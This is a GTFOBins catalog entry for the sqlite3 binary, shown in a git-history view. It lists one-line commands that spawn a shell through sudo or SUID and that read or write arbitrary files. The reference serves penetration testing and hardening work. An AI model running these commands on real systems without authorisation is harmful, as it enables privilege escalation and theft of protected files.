GTFOBins.github.io/_gtfobins/sqlite3.md

22 lines
517 B
Markdown
Raw Normal View History

---
functions:
2018-06-04 17:16:57 +02:00
execute-interactive:
- code: sqlite3 /dev/null '.shell /bin/sh'
sudo-enabled:
2018-06-04 17:16:57 +02:00
- code: sudo sqlite3 /dev/null '.shell /bin/sh'
suid-limited:
- code: ./sqlite3 /dev/null '.shell /bin/sh'
file-write:
- code: |
2018-06-04 17:16:57 +02:00
LFILE=file_to_write
sqlite3 /dev/null -cmd ".output $LFILE" 'select "data";'
file-read:
- code: |
LFILE=file_to_read
sqlite3 << EOF
CREATE TABLE t(line TEXT);
.import $LFILE t
SELECT * FROM t;
EOF
---